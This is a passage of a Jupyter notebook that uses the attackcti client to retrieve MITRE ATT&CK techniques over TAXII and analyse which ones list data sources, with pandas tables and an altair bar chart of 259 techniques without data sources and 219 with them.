{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# **MITRE ATT&CK PYTHON CLIENT**: Data Sources\n", "------------------" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Goals:\n", "* Access ATT&CK data sources in STIX format via a public TAXII server\n", "* Learn to interact with ATT&CK data all at once\n", "* Explore and idenfity patterns in the data retrieved\n", "* Learn more about ATT&CK data sources" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 1. ATT&CK Python Client Installation" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "You can install it via PIP: **pip install attackcti**" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 2. Import ATT&CK API Client" ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true }, "outputs": [], "source": [ "from attackcti import attack_client" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 3. Import Extra Libraries" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": true }, "outputs": [], "source": [ "from pandas import *\n", "from pandas.io.json import json_normalize\n", "\n", "import numpy as np\n", "\n", "import altair as alt\n", "\n", "import itertools\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 4. Initialize ATT&CK Client Class" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": true }, "outputs": [], "source": [ "lift = attack_client()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 5. Getting Information About Techniques" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Getting ALL ATT&CK Techniques" ] }, { "cell_type": "code", "execution_count": 4, "metadata": {}, "outputs": [], "source": [ "all_techniques = lift.get_all_techniques()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Showing the first technique in our list" ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "{'type': 'attack-pattern',\n", " 'id': 'attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196',\n", " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", " 'created': '2018-10-17 00:14:20.652000+00:00',\n", " 'modified': '2018-10-17 00:14:20.652000+00:00',\n", " 'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", " 'url': 'https://attack.mitre.org/techniques/T1222',\n", " 'matrix': 'mitre-attack',\n", " 'technique': 'File Permissions Modification',\n", " 'technique_description': \"File permissions are commonly managed by discretionary access control lists (DACLs) specified by the file owner. File DACL implementation may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). (Citation: Microsoft DACL May 2018) (Citation: Microsoft File Rights May 2018) (Citation: Unix File Permissions)\\n\\nAdversaries may modify file permissions/attributes to evade intended DACLs. (Citation: Hybrid Analysis Icacls1 June 2018) (Citation: Hybrid Analysis Icacls2 May 2018) Modifications may include changing specific access rights, which may require taking ownership of a file and/or elevated permissions such as Administrator/root depending on the file's existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files. Specific file modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1015), [Logon Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files.\",\n", " 'tactic': ['defense-evasion'],\n", " 'technique_id': 'T1222',\n", " 'platform': ['Linux', 'Windows', 'macOS'],\n", " 'data_sources': ['File monitoring',\n", " 'Process Monitoring',\n", " 'Process command-line parameters',\n", " 'Windows event logs'],\n", " 'defense_bypassed': ['File system access controls'],\n", " 'permissions_required': ['User', 'Administrator', 'SYSTEM', 'root'],\n", " 'effective_permissions': None,\n", " 'system_requirements': None,\n", " 'network_requirements': None,\n", " 'remote_support': None,\n", " 'contributors': ['Jan Miller, CrowdStrike'],\n", " 'technique_references': ['https://attack.mitre.org/techniques/T1222',\n", " 'https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces',\n", " 'https://docs.microsoft.com/windows/desktop/fileio/file-security-and-access-rights',\n", " 'https://www.tutorialspoint.com/unix/unix-file-permission.htm',\n", " 'https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100',\n", " 'https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110',\n", " 'https://docs.microsoft.com/windows-server/administration/windows-commands/icacls',\n", " 'https://docs.microsoft.com/windows-server/administration/windows-commands/attrib',\n", " 'https://linux.die.net/man/1/chmod',\n", " 'https://linux.die.net/man/1/chown',\n", " 'https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/',\n", " 'https://docs.microsoft.com/windows-server/administration/windows-commands/takeown',\n", " 'https://docs.microsoft.com/powershell/module/microsoft.powershell.security/set-acl'],\n", " 'detectable_by_common_defenses': None,\n", " 'detectable_explanation': None,\n", " 'difficulty_for_adversary': None,\n", " 'difficulty_explanation': None,\n", " 'tactic_type': None}" ] }, "execution_count": 5, "metadata": {}, "output_type": "execute_result" } ], "source": [ "all_techniques[0]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Normalizing semi-structured JSON data into a flat table via **pandas.io.json.json_normalize**\n", "* Reference: https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html" ] }, { "cell_type": "code", "execution_count": 6, "metadata": {}, "outputs": [], "source": [ "techniques_normalized = json_normalize(all_techniques)" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
contributorscreatedcreated_by_refdata_sourcesdefense_bypasseddetectable_by_common_defensesdetectable_explanationdifficulty_explanationdifficulty_for_adversaryeffective_permissions...remote_supportsystem_requirementstactictactic_typetechniquetechnique_descriptiontechnique_idtechnique_referencestypeurl
0[Jan Miller, CrowdStrike]2018-10-17 00:14:20.652000+00:00identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5[File monitoring, Process Monitoring, Process ...[File system access controls]NaNNaNNaNNaNNaN...NaNNaN[defense-evasion]NaNFile Permissions ModificationFile permissions are commonly managed by discr...T1222[https://attack.mitre.org/techniques/T1222, ht...attack-patternhttps://attack.mitre.org/techniques/T1222
\n", "

1 rows × 27 columns

\n", "
" ], "text/plain": [ " contributors created \\\n", "0 [Jan Miller, CrowdStrike] 2018-10-17 00:14:20.652000+00:00 \n", "\n", " created_by_ref \\\n", "0 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 \n", "\n", " data_sources \\\n", "0 [File monitoring, Process Monitoring, Process ... \n", "\n", " defense_bypassed detectable_by_common_defenses \\\n", "0 [File system access controls] NaN \n", "\n", " detectable_explanation difficulty_explanation difficulty_for_adversary \\\n", "0 NaN NaN NaN \n", "\n", " effective_permissions ... \\\n", "0 NaN ... \n", "\n", " remote_support system_requirements tactic tactic_type \\\n", "0 NaN NaN [defense-evasion] NaN \n", "\n", " technique \\\n", "0 File Permissions Modification \n", "\n", " technique_description technique_id \\\n", "0 File permissions are commonly managed by discr... T1222 \n", "\n", " technique_references type \\\n", "0 [https://attack.mitre.org/techniques/T1222, ht... attack-pattern \n", "\n", " url \n", "0 https://attack.mitre.org/techniques/T1222 \n", "\n", "[1 rows x 27 columns]" ] }, "execution_count": 7, "metadata": {}, "output_type": "execute_result" } ], "source": [ "techniques_normalized[0:1]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 6. Re-indexing Dataframe" ] }, { "cell_type": "code", "execution_count": 8, "metadata": {}, "outputs": [], "source": [ "techniques = techniques_normalized.reindex(['matrix','platform','tactic','technique','technique_id','data_sources'], axis=1)" ] }, { "cell_type": "code", "execution_count": 9, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
matrixplatformtactictechniquetechnique_iddata_sources
0mitre-attack[Linux, Windows, macOS][defense-evasion]File Permissions ModificationT1222[File monitoring, Process Monitoring, Process ...
1mitre-attack[Windows][defense-evasion, execution]XSL Script ProcessingT1220[Process Monitoring, Process command-line para...
2mitre-attack[Windows][defense-evasion, execution]Compiled HTML FileT1223[File monitoring, Process Monitoring, Process ...
3mitre-attack[Windows][defense-evasion]Template InjectionT1221[Anti-virus, Email gateway, Network intrusion ...
4mitre-attack[Windows][defense-evasion, persistence]BITS JobsT1197[API monitoring, Packet capture, Windows event...
\n", "
" ], "text/plain": [ " matrix platform tactic \\\n", "0 mitre-attack [Linux, Windows, macOS] [defense-evasion] \n", "1 mitre-attack [Windows] [defense-evasion, execution] \n", "2 mitre-attack [Windows] [defense-evasion, execution] \n", "3 mitre-attack [Windows] [defense-evasion] \n", "4 mitre-attack [Windows] [defense-evasion, persistence] \n", "\n", " technique technique_id \\\n", "0 File Permissions Modification T1222 \n", "1 XSL Script Processing T1220 \n", "2 Compiled HTML File T1223 \n", "3 Template Injection T1221 \n", "4 BITS Jobs T1197 \n", "\n", " data_sources \n", "0 [File monitoring, Process Monitoring, Process ... \n", "1 [Process Monitoring, Process command-line para... \n", "2 [File monitoring, Process Monitoring, Process ... \n", "3 [Anti-virus, Email gateway, Network intrusion ... \n", "4 [API monitoring, Packet capture, Windows event... " ] }, "execution_count": 9, "metadata": {}, "output_type": "execute_result" } ], "source": [ "techniques.head()" ] }, { "cell_type": "code", "execution_count": 10, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "A total of 478 techniques\n" ] } ], "source": [ "print('A total of ',len(techniques),' techniques')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 7. Techniques With and Without Data Sources" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Using **altair** python library we can start showing a few charts stacking the number of techniques with or without data sources.\n", "Reference: https://altair-viz.github.io/" ] }, { "cell_type": "code", "execution_count": 11, "metadata": {}, "outputs": [ { "data": { "application/vnd.vegalite.v2+json": { "$schema": "https://vega.github.io/schema/vega-lite/v2.6.0.json", "config": { "view": { "height": 300, "width": 400 } }, "datasets": { "data-0c1c5a94a4386315ffba297980bdeddb": [ { "Count of Techniques": 259, "Techniques": "Without DS" }, { "Count of Techniques": 219, "Techniques": "With DS" } ] }, "layer": [ { "data": { "name": "data-0c1c5a94a4386315ffba297980bdeddb" }, "encoding": { "color": { "field": "Techniques", "type": "nominal" }, "x": { "field": "Techniques", "type": "nominal" }, "y": { "field": "Count of Techniques", "type": "quantitative" } }, "height": 300, "mark": "bar", "width": 200 }, { "data": { "name": "data-0c1c5a94a4386315ffba297980bdeddb" }, "encoding": { "color": { "field": "Techniques", "type": "nominal" }, "text": { "field": "Count of Techniques", "type": "quantitative" }, "x": { "field": "Techniques", "type": "nominal" }, "y": { "field": "Count of Techniques", "type": "quantitative" } }, "height": 300, "mark": { "align": "center", "baseline": "middle", "dx": 0, "dy": -5, "type": "text" }, "width": 200 } ] }, "image/png": "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